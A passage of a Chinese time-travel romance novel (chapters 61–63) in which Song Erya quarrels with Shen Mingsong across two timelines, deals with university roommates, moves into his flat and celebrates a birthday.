“我不要,没说清楚前我是不会走的。” “你要说什么?” 宋尔雅用膝盖往他那边挪挪,看他的目光执着又委屈,她拉过他手掌将自己脸蛋贴上去:“哥哥,你不要这样子对我,你明知道这是我第一次谈恋爱,你真不要我吗?” 沈明松心脏骤然一颤。 他说:“没有不要你,我可以一辈子看着你护着你,你永远能待在这里,包括继承我的一切。” 宋尔雅:“如果我和别人谈恋爱,你也能亲眼看着?” 沈明松没说话,黑压压的眼底沉寂异常,让她很讨厌他这个样子,再接再厉地说:“难道我结婚时你也要像老父亲一样送我出嫁。” 沈明松眼睫一动,往下一垂,似是在思考自己是否能承受那样场景,又听见她再次故意刺激他说:“那我要去找个真老头结婚。” “别瞎说。” “我才没有瞎说,你不准我喜欢你这个老头,还不准我喜欢其他老头吗?我就是有恋老癖怎么了?”宋尔雅赌气道,她从来没有这么不开心过。 沈明松要是再年轻个几岁,指不定被她气死。 他抬手将她睡衣领子整理好:“你还小,会有不成熟的想法很正常,你现在觉得两人相爱就行,可再过十年二十年,我头发全白了,你的人生也才堪堪过半。” “我不在乎这些啊。” 沈明松静静地望着她,眸色像起了场雾,他拉开抽屉拿出一瓶药,问她:“你知道这是什么?” 宋尔雅接过去看,这是一瓶降压药。 在她印象中,这种药都是老人才吃的,震惊的瞪大双眼:“你得高血压了?!” 怎么会呢,怎么会呢! 宋尔雅心里一阵慌,说不清的难受,肉眼看不到的衰老,已经在他身体上呈现出来了? 沈明松:“我无法阻止这具皮囊衰老,别人揣测你是我养女时,我只会觉得自己很难堪。” 宋尔雅忽然无话可说了,发愣了好一会,默默地下床穿鞋,走到门口时回过头,恨恨道:“沈明松我从来没有这么讨厌过你。” 沈明松躺回床上,久久无法入睡,他无端想起很多年前的事,那时他还在念大学,看别人告白都送花,说上一大段情话。 他嗤之以鼻,可当他面对她时,脑子又自觉地想该要说什么来哄她开心。结果她一看他,他心就乱了,只能沉到海里冷静冷静。 结果他什么都不说,她就先向他走来一步,在此之前,她已经走了九十九步。 那个时候的他可以心安理得接受她的示爱,心里高兴得不得了,却又说不出情话,没有该有的仪式,扭捏地拿出他准备了好久的礼物。 他并不觉得自己准备的礼物多好看,黄金店的人说一颗颗爱心连在一起就是满满的爱,别人结婚三金都选这款,不买女方都不乐意嫁,他便买了。 那时的自己还真是个愣头青,可他回不到那个过去了。 ~ 那天过后,沈明松就很少出现了,刻意躲着她的感觉,宋尔雅气死了。 其实在家养病和在医院没多大区别,她依旧不被允许去很多地方,尤其是热闹人多的。 她成天去放旧物的房间里翻找一番,发现有些物品会留下她做的标记,有些不会,有些还会消失,像信号接触不良的频道。 她还在一台相机里找到一段录像,拍摄于2001年1月10号,画面里那个笑容明媚的女生就是她本人。 她在雪地里玩雪,周围很多小孩,她身边有一个可爱的雪人和丑丑的雪人。 后面镜头一转,她和沈明松都入了框。 “哈喽哈喽,录上了吗,我是宋尔雅,我现在2001年的海都,这里下大雪了,我现在好开心,未来时空的我或者明松叔叔,你们能看到这段录像吗?嘻嘻,到你了哥哥,到你了到你了,哥哥你快说,和未来的我们打个招呼。” 面对视频里拽住他衣领子扯的女生,沈明松无奈一笑,目光望着镜头,隔着时空与宋尔雅对视。 “??x?尔尔你好,我是沈明松。” “这就没了?敷衍我?不行。” “说什么?” “说爱我,快说快说!” “……尔尔,我爱你。” 宋尔雅心头一震。 朦胧画面中看得出两个人都很快乐。 视频没拍完,一个雪球砸了过来打中她,很快相机就被关闭了。 等宋尔雅想看第二遍的时候,录像已经没有了,取而代之的是模糊不清的画面,屏幕飘满雪花。 她知道沈明松为什么会喜欢待在这个房间里了,他是不是也在寻找另一个时空里她留下的痕迹。 可两个世界融合的东西太少了,她没找到多少,有的找到了也很快会消失。 宋尔雅很惆怅。 雪化后,t大已经开学了。 宋尔雅想起自己承诺的事,让司机送自己去了大学一趟,和二十多年前相比,校园变化不算大,很多标志性的建筑雕像都保留着。 她的学籍也入了这个学校,但不打算那么快恢复上学,医生说还要观察个一年。 宋尔雅在学校里晃了半天,才给段西瑞发消息叫他去校门口汇合。 她今天在裙子外面搭了长披肩,戴着米白色圆礼帽和珍珠耳环,脸色红润,看起来已经好很多了。 段西瑞从校门口出来时,身边还跟着几位朋友,宋尔雅冲他招手。 “那边有美女!” “她在勾着手指让我们过去耶!” 段西瑞一抬头便看见她了,立马小跑过来,表情很生气:“宋尔雅,你怎么每次偷跑出来都要来坑我一把?沈叔叔知道了有我好看的。” “他知道了又能怎么样。”宋尔雅正满肚子怨气,抱着手臂没地方发泄。 段西瑞觉得现在还是惹她不要好:“你来找我做什么?” 章雪性格强势,养出来的儿子却是个傻白甜,一点富二代的傲慢都没有,为人平时低调,主要他老妈也不给他高调起来当纨绔的机会,钱可以乱花,人别嚣张。 段西瑞他爹之前给他送车当成人礼物,让他偷偷开,却因为宋尔雅的缘故被章雪收走了,她终于良心想起来要弥补回给他。 宋尔雅丢给他一张卡:“之前答应赔你的,想要什么你自己买,不要问为什么,还有现在带我去玩。” 她太闷了,朋友似乎都有自己生活,谈恋爱的恋爱,工作的工作,也就刚上大一的段西瑞有闲工夫陪她耍耍。 于是她收到了段西瑞的“真的赔给我!”“不会逗我的吧?”“你偷沈叔叔卡给我了?”“爱死你了。”的惊呼。 段西瑞:“刚好我们今晚有聚餐,不过你能去吗?” “去。”宋尔雅看向他走过来的朋友们,“你们也去,姐请客。” 段西瑞朋友在听到宋尔雅说请他们吃饭之后一个个嘴巴甜了起来,姐姐姐姐的喊。 没有一个少年抵挡得住和兄弟的漂亮姐姐请吃饭的诱惑的。 段西瑞直叫他们闭嘴,姐个屁,他都没喊他们瞎喊什么。 宋尔雅在沈明松面前当小辈快当成孙子了,现在来当当死装姐,有种听葫芦娃叫爷爷的畅快感。 段西瑞让司机自己回去,他来开车,宋尔雅坐副驾驶上看着车窗不断变化的风景,宋尔雅低头发朋友圈,发的是学校里拍的风景,还一群青春男大在球场展现的生命力。 没多久收到了沈明松给发的消息。 “去t大了?” 宋尔雅没理他。 后边有个男生红着脸把手机递过来:“姐姐可以加个微信吗?” 他一开口,另外一个也加入进来,宋尔雅都加上了。 去了她挑的餐厅位置偏僻清幽,服务和菜品都是顶好的,用的还是沈明松的会员,三个大男孩就段西瑞不客气,抢着菜单点,上了满满一桌子。 宋尔雅拍照,继续发朋友圈,仿佛在单纯记录生活。 没多久手机又响了一声,沈明松让她别在人多的地方吃饭。 她还是没理。 一个男生看过来:“姐姐,你怎么都不动筷的?” 宋尔雅抬眼看他应了一句,继续狂发朋友圈,全都是仅一人可见。 她单独分餐出来吃,也只尝了一点,男生们明显是想吸引她注意力,试图寻找她感兴趣的话题,只有段西瑞一副有猪要拱自家地里白菜的模样。 段西瑞手机震了一下,低头看了一下后靠近她低声说:“沈叔叔问我们在哪里。” 宋尔雅拿起消毒毛巾慢慢擦手,片刻后才说:“定位发他。” 段西瑞把手机屏幕亮给她看:“你怎么回事,你怎么给沈叔叔弄了个情头?” 宋尔雅敷衍:“随手就换了,你不觉得他之前的很好笑吗?不符合他身份。” 段西瑞狐疑:“难道现在这个情头就符合了?” 符合,当然符合,她男朋友和她用情头有问题吗? 段西瑞嗅到了一丝可疑味道,把心中猜测问出来:“你不会真的是喜欢沈叔叔吧?他比你大那么多!” “我不可以喜欢他吗?”宋尔雅口吻平淡,“如果你四十多时有我这样的美女喜欢,你高兴不?” 段西瑞:“被你喜欢可能有点恐怖。” “滚。” 白问了,宋尔雅转头问另外两人。 他们幻想了一下,觉得那自己魅力可大了,男人越老越吃香,想着想着激动上了。 宋尔雅皱了下眉,让段西瑞别跟他们一样真敢想,心里又恼怒,为什么沈明松没有他们这个自信呢。 她不想和讨论这些太多,不如听段西瑞他们说学校里发生的炸裂大瓜。 大概半个小时,她站起来:“你们慢慢吃,我有事先离开了。” 离开包厢后,她便看见一辆车停在门口,也不知什么时候就停在那里的。 宋尔雅拉开副驾驶车门坐进去。 沈明松坐在驾驶位上,见她去了学校那么多人的地方,连口罩也没戴,一张脸都黑成块碳了:“你很喜欢住医院?” “好嘛。”宋尔雅听完他的话立马乖乖把口罩拿出来戴上。 沈明松顿了下,熄火了。 他开车带她回家,一直等着她说什么,偏偏她今天格外安静不作妖了。 养小孩是件很麻烦的事,一直以来都领教着她的吵闹,不能打,骂两句都担心太重了。可当她安静下来,沈明松又非常不适应。 怕她心情不好,怕她会突然哭起来,他开着车时不时用余光瞅她两眼。 直到回到地下车库时,宋尔雅下了车才开口说话:“叔叔,我以后不纠缠你了,你不要躲我了。” 沈明松一顿,好几秒后才说:“工作太忙,没有躲你。” 宋尔雅心里骂他,表面却笑了起来:“那就好,我还以为你再也不想见我了。” 怎么会可能不想见她。 沈明松下意识要摸摸她脑袋,她后退着躲开了:“好饿好饿,我刚刚都没怎么吃东西,走吧,我要叫阿姨做好吃的。” 仿佛又恢复到了以前开开心心的模样。 接下来的日子里,宋尔雅每天都乖乖按时吃饭吃药,也不成天闹着要出去玩了,偶尔去后院湖里钓鱼,一钓就是一天。 游戏瘾也恢复了,沈明松在家时都能看见她捧着平板在客厅沙发上玩。 她外放着声音,除了段西瑞外还有其他男的声音,在叫她姐姐。 沈明松以前为她学玩过很多游戏,但新游戏总是更新迭代的,一个接一个,他跟不上。之前陪她打过,就被嫌弃技术差不和他玩了,把人晾一边,后来他总是看着她和段西瑞玩。 似乎新的时代只属于他们这样的年龄。 那天加的男生和宋尔雅私聊,她也有回应,其中一个“浮星光(186)”的那个男生话最多。 不是她这样备注的,是那人本就这个网名。 男生天天给她问好,还有发健身房锻炼照片,身材挺棒的,腹肌都有八块呢。 宋尔雅点开屏幕时恰好在吃饭,坐一旁的沈明松恰好看过,他表情一下变得微妙。 “尔尔,说了多少次吃饭不要玩手机。” 宋尔雅撅嘴,软声说:“谁理你啊,我就要玩。” 释怀是假的,她就要气死他。 ~ 一直到宋尔雅穿走,她也没有要和他和解的意思。 她这次回去的时间不算很久,醒来时躺在医院挂点滴。 沈明松这次冷静多了,还想着如果她昏迷太久就带她回去,怕医院误以为她死亡,又给她送去太平间,到时候她醒来会被吓到的。 宋尔雅一睁眼看到正在给她擦脸的人,气不打一处来:“我要和你分手。” 沈明松都没来得及开心她终于醒过来,身子俯低了些,温柔的问:“怎么了?你说什么?” 宋尔雅坐起来一字一顿:“我说要分手。” 沈明松:“要喝水?” 旁边病床的大??x?妈听得可清楚了,帮她大声说:“小姑娘说要分手,不和你好了。” 第62章 第 62 章 恋爱脑 宋尔雅气呼呼地跑到医院绿化带小路外, 沈明松追上来一把将她腾空抱起来的。 “怎么了尔尔?” 宋尔雅挣扎、扭动,跳到地上,生气道:“你自己猜。” 沈明松都无语了, 手指戳了一下她脑袋:“定罪之前总得先给个罪名吧,你昏迷这几天,哥哥在巴巴的等你醒来, 结果你就闹这一出,你没有良心!” 宋尔雅把嘴巴扁起来, 抱着手臂蹲下去就是不说话。 沈明松头一回见识到女朋友闹脾气, 有些想笑,却也知道笑出来会要命, 他半拉半抱地去弄她, 像拔一颗不断往地上扎根的萝卜, 好半天才将人弄到车里面去。 关上车门, 他摸摸她脑袋,把她睡乱的头发理顺:“说吧, 到底怎么了,是未来的我, 惹你不开心了吗?” 宋尔雅强调:“我真的很生气, 你让我太失望了。” 沈明松挠挠她下巴, 逗猫一样:“说嘛,哥哥来评评理。” 宋尔雅知道不该把气撒到现在的他身上的, 可心里太难受了,她甚至矫情的想哭:“如果你到了四十多岁, 我还是二十多,你还会喜欢我吗?” 沈明松本来还挂着笑,听到她这样问, 等了好一会也没答上来。 不是如果,而是事实。 自从知道她是宋芳孩子后,他便刻意的不去想未来的自己能和她有什么关系。 隔着一个辈分,什么关系他都被人诟病,谴责他一个老不正经的跑去哄骗年轻女孩。 可这一年的他不过才二十出头,眼前的女友和自己一起长大了,青梅竹马,感情水到渠成,他尚且不能切身体验未来自己的想法、感受。 看他迟疑的神色,宋尔雅捏起拳头给了他几下:“你看你!所以还是分手吧,我不耽搁你。” 沈明松连连挨了她几下,在听到“分手”二字后就着急了起来,捏住她拳头:“我说分了吗你就分?” 在喜欢人面前就是要恃宠而骄的,宋尔雅回来面对这个表达情感直白猛烈的他,更矫情做作了:“明明是你先提的分手。” 沈明松要被冤枉死了,又不能穿到另一个世界揍自己一拳:“又不是我提的,凭什么,他为什么要分?” 宋尔雅:“因为你觉得自己配不上我。” 沈明松面部抽搐,有些无奈:“那我替他给尔尔道歉好不好?” “不好,我不要你道歉,我要你未来的道歉。” 沈明松赔着笑脸:“好,我以后给尔尔道歉,哥哥罪该万死。” 宋尔觉得他在和自己贫,扭开脸:“我要回学校了,我要先回去冷静一下。” 她不想胡乱发火显得她胡搅蛮缠,她需要时间想想该怎么面对他,而且她昏迷了几天也就没洗澡,虽是冬天身上没出汗,但还是有些受不了的。 她怀疑沈明松会在她身上会闻到什么奇怪的味道。 沈明松还能说什么,只能认命开车送她回学校。在她下车前拽住她:“你先回去洗个澡吃顿饭,想好了再开口,以后别随便开口。” 宋尔雅差点又要和他急眼:“谁随便了?” 沈明松明智地选择不和她争论个高低,讨好的摸摸她脑袋。 宋尔雅走回到宿舍门口才发现自己没带钥匙,敲了许久的宿舍门都没人来开,应该都去上课了。她去找舍管阿姨也没见人,只好在门口等了好一阵子。 上课回来的李文喜看到她很意外:“宋瑶,你回来了啦,我和余圆还正想着明天去医院看看你呢,你没事了吧?” 宋尔雅在宿舍穿走,肯定是室友最先发现她不对劲送医院,惯用一个借口敷衍人:“没事,我低血糖又犯了。” “那天我们差点以为你要死了,还好你没事。”李文喜掏出钥匙开门,看到王诗雨就在宿舍里看书,语气古怪,“你在宿舍啊,怎么不给宋瑶开门?” 王诗雨面无表情:“我没有那个义务,自己不带钥匙怪谁?” 宋尔雅心里低骂一声,有时候人和人的关系真的很难处理。 李文喜正要开口,她拉拉她示意不要和她吵,她着急去洗澡,捡了套睡衣,出门前又拉开抽屉把钥匙拿上,怕回来时李文喜不在。 她现在没心情和王诗雨吵架。 她洗了很久澡,回来一看手机沈明松给她发了很多短信,问她回到宿舍没,洗完澡要赶紧擦干头发,吃饭没,气消了没有。 宋尔雅本来是想晾他几天的,显显女友威风,却一个没留神给他回了。 但想起他说算了的那种话,又觉得自己好没骨气,怎么被哄两句就心软了,便把手机丢到一边不看了。 李文喜又走过来关心她:“宋瑶你到底生了什么病,很严重吗?”她显然不相信是低血糖的说法。 当时她睡到第二天十点多了也没醒,李文喜奇怪她居然会睡懒觉,也就没多想,直到中午帮她打饭回来喊人起来吃饭,人也没醒,她爬上床边一看,宋瑶双眼紧闭,整张脸惨白得吓人,呼吸弱得微乎其微。 李文喜才意识不对,叫来余圆一起把人送医务室,医务室老师看了看,喊了救护车把人抬走。这举动把两人都被吓坏了。 宋尔雅就知道自己这样真的很吓人,愧疚的摸摸鼻子:“老毛病,没什么大碍的,睡一觉就好了。” “真的?”李文喜明显不信。 “是的啦,老毛病了,没有什么大问题,你看我现在不是还好端端的吗?” 李文喜勉强点头,等余圆回到宿舍看见她,又是好一通询问。 沈明松帮宋尔雅请过假了,她下午去销假时辅导员十分关心她的身体状况,她同样用老毛病敷衍过去。辅导员送了一口气,主动提起了她想退宿的事,说是同意了。 看来是真的很怕她在宿舍里“去世”,对学校影响不好了。 晚上,宋尔雅请李文喜和余圆到外面吃饭。结果两姑娘只挑了学校外的花甲粉店,说都是学生没什么钱,不用吃太贵的,不让她破费。 这两姑娘太朴实了,宋尔雅只好想着该买什么礼物感谢回去。 第二天她还在床上睡觉,被楼下吵吵闹闹的声音弄醒,从床边探出个脑袋,发现余圆趴在阳台边缘往下来看。 “楼下有人告白诶。” 李文喜听到后也下床跑出去看了看,又跑回来踩上楼梯和床上的宋尔雅说话:“下面铺满好多花瓣,还是爱心形状的,好浪漫,不会又是找你的吧,宋瑶。” 自开学以来陆陆续续都有不认识的人来和宋尔雅告白,无非都是说看见她的第一眼就好喜欢,她觉得莫名其妙,哪怕拒绝了,也有不死心的。 宋尔雅散漫地赖床上一会儿,才拿手机一看,好几个未接来电,愣神中又是一个电话过来,她才接通就听沈明松让她下楼。 她从床上爬下来跑去阳台看,外面飘着雪,雪地上洒满了玫瑰花瓣,有人坐在中央抱着吉他唱情歌,周围站了一堆人在围观,距离太远了她也看不清那人脸。 难道沈明松也会搞这种追女生的庸俗套路? 宋尔雅火速洗漱后下楼,连睡衣都脱了换上体面的裙子外套。 到楼梯口时男生怀里的吉他已经变成了一大捧玫瑰花,脸都给挡住了。 宋尔雅刚要上前接过,就听男生向楼上大喊:“徐愿我喜欢你!” 她及时收住脚步,快步跑到人堆外,接着她发现了在人堆外抓着一团雪玩的沈明松。 他看到她后丢开雪团跑过来:“怎么下个楼这么久?” 宋尔雅看看告白的男生又看看他,表情尴尬。 沈明松拉着她远离人群,见她没个笑脸轻轻捏她腮帮子:“小公主,还在生气呢?” 宋尔雅早就气不起来了,不过现在又有别的事要找茬:“你为什么不给我送花?” 幸好她刚刚没有抢走那个男生的花,不然丢死人了。 沈明松愣了愣,不明所以:“下次,下次再送好不好?” 自从有个女朋友后,他说话语气难免软和了不少,有时候还会稍微理解一下被章雪骂惨的段子阳,好在他女朋友不是章雪。 他把手里袋子给她:“这给你室友们。” 对上她疑惑目光,他解释道:“你昏迷那天是人家背着你送医务室,不会没有好好谢谢人家吧?” 宋尔雅都没注意自己被轻易转移了注意力,很不好意思地说请吃了花甲粉,沈明松轻轻弹她脑门:“果然没有良心的,你室友都在吗,我想请她们吃个饭谢谢人家,今天不去的话,后面我估计没什么空了。??x?” 这下宋尔雅真的什么气都消了,沈明松事事为她考虑周到,哪怕是未来的他,也包办着她所有大小事宜,再不懂事,她也是明辨是非的。 她拿着礼物跑上宿舍楼喊人,李文喜看到东西后连忙拒绝:“我不能要。” 袋子里装的是护肤品,沈明松见宋尔雅喜欢用这个牌子,给明珠也买了,宋尔雅想他估计以为女生都用这个,就批发买了。 反正送这个也出不了错。 李文喜平日就用一瓶雪花膏,在海都那么冷的冬天压根不管用,出门上课一趟,寒风刀子一样刮过来,吹得人脸蛋发皱。 她不清楚东西价格,但也知道宋瑶衣服鞋子都贵得要命,能抵得过她好几个月生活费。她还经常分零食给她们吃,她送的东西肯定不会廉价。 宋尔雅歪头:“为什么,要是有人送我东西,我能开心得飞起来。” 李文喜:“学校里那么多男生给你送礼物,你不也没要?” “不一样啊,我又不认识他们,但我们不是朋友吗?” 李文喜听了这话很高兴:“是朋友的话就更不能要了,这个应该能退吧?” 余圆倒是很坦然收下的,见不得李文喜墨迹,她走过来手快的把包装全拆了,拧开罐子把东西往她手抹上:“这个牌子真的很好用的,很保湿温和,你应该不会过敏吧,试试看。” 李文喜不知道要说什么了,这下想退都用不了,她接过后又问:“宋瑶,问你个事,沈明松学长是你哥哥?” 她那时看她昏迷不醒被抬上救护车,慌张下拿宋瑶手机打给了一个叫哥哥的号码,以为是她的家人,结果一看来人,竟然是大三的学长。” “真的吗?听说这个学长搞建筑赚了可多钱了。”余圆肉眼可见的激动。 连平时谁都不爱搭理的王诗雨都愣了下,主动加入话题:“沈明松?你姓宋,他怎么可能是你哥?” 宋尔雅没什么好遮掩的,大大方方承认就是自己男朋友。 王诗雨哼了一声:“那他可真舍得为你花钱。” 宋尔雅看她一眼,同住了一段时间,大概了解到她是什么人。 王诗雨爱攀比,只要她发现自己东西比她昂贵会不开心,看到家境不好的李文喜她优越感又冒出来。 还有她瞧不起她。 宋尔雅也不是没脾气的人,笑嘻嘻和她犯贱:“你没有人爱吗?” 王诗雨一愣:“宋瑶……” “你真的不好奇我们三个人为什么都不爱理你吗?”宋尔雅打断她,“因为你真的很讨厌啊。” 王诗雨重重把书摔桌面上,这小婊~子真是招人厌。 宋尔雅对着她翻了个白眼,她又不是什么讨好人格,要给一个一开始就敌视自己的人好脸色,合不来就是合不来,室友而已。 她拉着两室友下楼吃好吃的去了。 沈明松看到只来了两个女生:“还有一个呢?” 宋尔雅撇嘴:“我不喜欢她,我不要和她一起吃饭。” 余圆也附和道:“就算叫她,她也不会来的。” 沈明松倒没再问什么,发动车子出发。 宋尔雅兴致勃勃的挑地方,说要吃羊肉。 到了地方她就先点上羊肉汤暖身体,汤里放上甘蔗马蹄一起煮,口感清润中带着甘甜,他们还点上了一只烤全羊,两室友都担心就几个人能吃得了那么多吗。 宋尔雅清楚沈明松食量,和她们炫耀:“我哥哥能吃下一头牛。” “怎么什么话都说。”沈明松伸手来掐她脸蛋,又微笑着对两人,“真是谢谢你们对宋瑶的照顾,幸好这次被你们发现得及时把人送医院。” 李文喜忙摇头说是应该的,余圆问:“宋瑶生了什么病吗?” 沈明松:“她身体比较虚弱,要好好养,平时可能会麻烦到你们。” “不麻烦不麻烦,宋瑶人很好的。” 菜上全后,沈明松带着手套将羊排撕开夹进馍馍里。 宋尔雅低头看自己手里撕成一块一块的肉。“为什么你能撕成丝?” 沈明松:“味都一样的。” 她把自己随便糊弄出来的肉夹馍放他碗里:“那我们换。” 沈明松没说什么,把肉夹馍递到她嘴边喂她吃,她咬了一口嚼了嚼,嘴角沾了油,又把自然的脸凑过去让沈明松给她擦嘴。 全程下来宋尔雅几乎没动手,碗里永远有处理好的羊肉,两室友算是明白了为什么那么多人追宋瑶,她都无动于衷,人和自己男朋友感情可不是一般的好。 吃完饭后沈明松把人送回学校,又在女生宿舍楼下多待了一会。宋尔雅钻进他的外套里,双手搂着他腰开心的说:“辅导员同意我退宿了,但是我要住在哪里呢?” 沈明松:“这个不用你操心,馨园有套房空着,你直接去住。” 馨园就在学校附近,骑自行车大概十来分钟就到。 “你又买了房?”这时候的房价低,如果宋尔雅钱够,她也想猛猛买,她要嫉妒沈明松了。 沈明松:“那房子原本是我回学校时住的,不常住,什么都弄好了,你可以直接住进去,要是缺什么等下次哥哥回来帮你弄。” 馨园就是公司承接建造起来的,但开发商付不起工程尾款,拿了几栋楼来抵了。 段子阳气得差点吐血,要和开发商打官司要钱,沈明松伸倒是看得长远一些,认为这些栋楼过两年比尾款价值要高,反正就算官司赢了也很难要回钱。 “下次?你还没有忙完吗?”宋尔雅问。 沈明松:“临近年底了,事情很多。”一边说一边观察她的脸色。 “好吧。”宋尔雅接受良好,他本来就不经常回学校这边,两人快谈出异地恋了。 沈明松揉揉她发顶,说了一声乖之后就要起身离开了,行程就在今天。 宋尔雅看着他的背影消失后,惆怅的想,他未来为什么不可以永远像现在这样,陷在热恋期,和她黏黏糊糊。 她微妙地想,自己该不会是个恋爱脑吧?—— 作者有话说:小情侣压根吵不起来呀[捂脸笑哭] 第63章 第 63 章 你爸爸是谁? 天气太冷, 教室里的学生都懒懒散散,总是一副睡不醒的模样,在不重要的选修课上有的女生还偷偷织起了围巾毛衣。 宋尔雅若有所思, 也来了精神,想起自己织的那件丑八怪,觉得是时候要进修一下自己的手艺。 但她将近年底也忙起来, 不是周末也会被章雪拉过去上班,虽然也不是每次要去屠宰厂, 但去一次就掉san一次。她有点后悔当时逞什么能了, 没事干嘛找份工作折磨自己。 她便在周末晚上时跑去找明珠玩,明珠也不懂她怎么突然想学织毛衣了。 其实李文喜和余圆都会织, 但宋尔雅只想学明珠会的那个稻穗花纹, 以前跟着明奶奶生活时她没有认真学, 导致最后她织了一条“丑八怪”送沈明松, 这次有机会了她一定好好学。 她这样的来回跑,冬天养起来的膘都给消耗下去了, 人倒是给跑精神了,从未想过自己也会有这么精力旺盛的时候。 拿到工资后她请了两室友吃饭, 善良的她们还热情帮她把东西搬去新住处, 东西不多, 几人一趟就搞定了。 馨园的房子不算小,家具齐全, 看起来像新装修好的,只有黑白灰三个色调, 如果不是看到其中一间房留有沈明松的东西,还真以为模板房。 住这里宋尔雅再也不用担心洗澡到一半时没了热水而被冻感冒。两室友看了房子一圈,问她就一个人住。 李文喜有些担忧, 拉着她到一边小声问:“你不会是和你男朋友住吧?” 宋尔雅没什么好隐瞒的。 “啊,那你要注意一点,同居这种事女孩子会很吃亏的,你可别和他发生……”李文喜没说下去,谈论起这种事已经令她鼓起莫大勇气了。 宋尔雅懂她意思,拍拍她肩:“我知道的。” 她和沈明松家人一样生活那么多年,后面又和他成了青梅竹马一起长大,两人之前的关系早就不止爱情了,她没有男女同居的那种害羞。 另一个时空沈明松不会对她有什么想法,而现在的沈明松就算有也不敢碰她。 宋尔雅觉得他应该有些大男子主义的,认为那种事得在婚后发生。 而宋尔雅在互联网繁荣时代长大的,深受影响……她还是学过画画,嗑cp最猛的时候画过…… 唉,不说也罢。 住进来的第二天早上,就有人来按门铃,是个四十多岁的妇女,说是钟点工来打扫卫生的。 宋尔雅挠挠头,电话询问沈明松,确实是他请来每??x?天来打扫房子的,他担心哪一天她晕倒在家里没人知道。他总是在条件范围内给她最好的。 接下来沈明松偶尔出现在学校,也会很快离开,根本没回这里住过。 宋尔雅抽空织好四件毛衣了,正好一人一件,都有的,都有。 ~ 2001年1月10号,也就是腊月十六日清晨早,宋尔雅揉着眼睛起床,被床头柜上突然冒出来的精美礼盒吸引住了,她愣了十几秒,跳下床冲进隔壁房间,果然看到床上躺的男人。 也不晓得沈明松是什么时候回来的,他盖着被子陷在柔软大床上酣睡着,像是累到了睡得很沉,连她悄然爬上来都没察觉到。 宋尔雅双手撑着床,低头将他瞧了又瞧,觉得他瘦了好多,脸上的皮肤被寒风吹得水分流失,有点起皮了,也不懂得好好照顾自己。 垂落下来的几根发丝落到他脸上,弄得他脸发痒,迷迷糊糊地睁开眼看见她后一把抱在了怀里亲了一下,又睡过去了,手还搁她腰上。 宋尔雅头枕在他结结实实胸膛上,能听见沉稳有力的心跳,心里很高兴,不打算吵醒他,也跟着睡了个回笼觉。 十点多时沈明松才有了点意识,只觉得自己怀里像抱了只温暖的小猫,香香软软的,他闭着眼睛埋脸蹭了又蹭,好一通蹂躏。 他一睁眼,小猫变成了他的小公主。 小公主趴在他心窝窝上睡着了,睫毛似两把小刷子,脸又小又精致,侧脸压出一团粉白可爱腮肉,双手搭他肩膀上,非常依赖他的模样。 沈明松恍惚愣神了许久,等到她也慢慢睁开眼睛,才揉揉她脑袋:“怎么趴哥哥身上睡着了?” 宋尔雅揉着眼坐起来,声音还有些含糊:“我来看了你一眼,你就抱着我不放。” 沈明松隐隐记起是有这么一回事,他当时睡迷糊了。 宋尔雅问:“你什么时候回来的?” “昨晚。” 沈明松下床去洗漱,把冒出来的胡茬剃干净,捯饬一下又恢复平日里的神清气爽。 宋尔雅把新得到的礼物拆开,是一个水晶球模样的八音盒,罩子内有位小公主坐在秋千上,打开秋千会自己荡秋千,球内灯光如梦如幻,十分漂亮。 沈明松在商店挑选时,一眼就看中球内小公主,觉得特别像她,一样美丽骄傲。 他走过去从身后搂住她,下巴支在她脑袋上:“喜欢吗?” “喜欢。”宋尔雅双手才捧得住这份礼物,又想起什么,“我也有礼物送给你。” 她捧着八音盒走进房间里放好,又把自己织的毛衣拿出来给他。 出乎意料的是,沈明松一看那毛衣立马拒绝了,他双手抱臂:“我不要。” “什么?!”宋尔雅不可置信,整个人都愣住了,怀疑自己听错了。 他怎么会拒绝她亲手织的礼物? 沈明松丝毫不给她面子:“哪个男人会穿这个出去?” 毛衣是米白色的,款式不分男女,宋尔雅不懂他在抗拒什么。 她把自己那件套头穿上,坚持要给他另一件,拿着毛衣在他身上比划:”这可是我亲手织的,是情侣装。” 虽然宋芳明珠也有,也算亲子装吧。 她像转圈小狗绕着他转了好几圈,硬要他穿上,但沈明松抵挡住了这次撒娇攻势,不为所动。 宋尔雅生气了:“你不穿我就打死你,这可是我织了好久的。” “真可怕。”沈明松伸出一根手指在她脸上戳出小窝窝,然后手指就被咬了。 宋尔雅咬了上去,把他手指当磨牙棒一样啃。 沈明松不痛不痒,笑出声:“好凶。” 她觉得没趣又松开嘴,想了想:“好吧,你不要的话那我送段西瑞好了。” 沈明松脸色霎时就变了:“段西瑞是谁?” “他是我的好朋友。” 沈明松:“女生?” 宋尔雅:“会有女生取这个名字吗?他也在t大念书。” 沈明松一把从她手里夺过毛衣整理一下,直接套头穿上,大小刚好合身,勾勒出他的宽肩窄腰,就他那凌厉的长相,那些花纹也没让他显女气。 宋尔雅给自己竖起大拇指:“看,明明很好看嘛,段西瑞可穿不出来这个效果。” 沈明松:“段西瑞到底是谁?” 宋尔雅:“他是段子阳和章雪的儿子,他现在还没出生呢。” 沈明松:“……” 他穿上外套把拉链提到最高,毛衣被遮得严严实实,才带着她出门。 两人去玩了一天,又看了场电影,快晚上才去接明珠一起去定好的餐厅给她过生日。 明珠大大方方把毛衣穿出来了,宋尔雅用谴责的目光无声控诉他。 沈明松又把拉到喉结的拉链拉下来,勉强露到胸口。 嗯? 好像还小了一点,怎么这么大? 宋芳在深市还要工作,只能打了个电话祝福。 餐厅服务员推蛋糕上来看到三人统一毛衣,当他们是一家三口在给最小的妹妹过生日,还让小提琴手过来给他们演奏了一曲。 蛋糕上的蜡烛摇曳,明珠叫宋尔雅许愿。 宋尔雅不缺什么东西,她只是希望自己能活下去。 她睁开眼对上沈明松含着笑意的眼睛,隔着烛火深深的望她。如果不是明珠在,他可能会探身过来亲她。 生日过完之后,他先把明珠送回家里,再送她,明珠还不知道宋尔雅搬出来住,她也不打算说。 车开进小区时已是夜晚,白天的雪已经停了,地上积累了厚厚一层雪。 宋尔雅东西吃多了有些涨肚,还不想上楼那么快,要在楼下玩玩雪消食。 空地上还有很多小孩在打雪仗,她远离他们到一边堆雪人。 她会堆很多可爱的雪人,沈明松停车回来看到,站着看了一会儿,也蹲下来堆了个“丑八怪”和她的挨一起。 宋尔雅犹豫了很久,还是没给它推了重堆,就这么着吧。 她的雪人吸引了很多小孩过来看,她看哪个小孩嘴巴甜,叫她美女姐姐,她就给谁捏一个,掌心大的小小雪人足以让小孩子开心地围着她吹捧。 有个不排队还蛮横的小胖墩子,宋尔雅不惯着他,没给他捏。 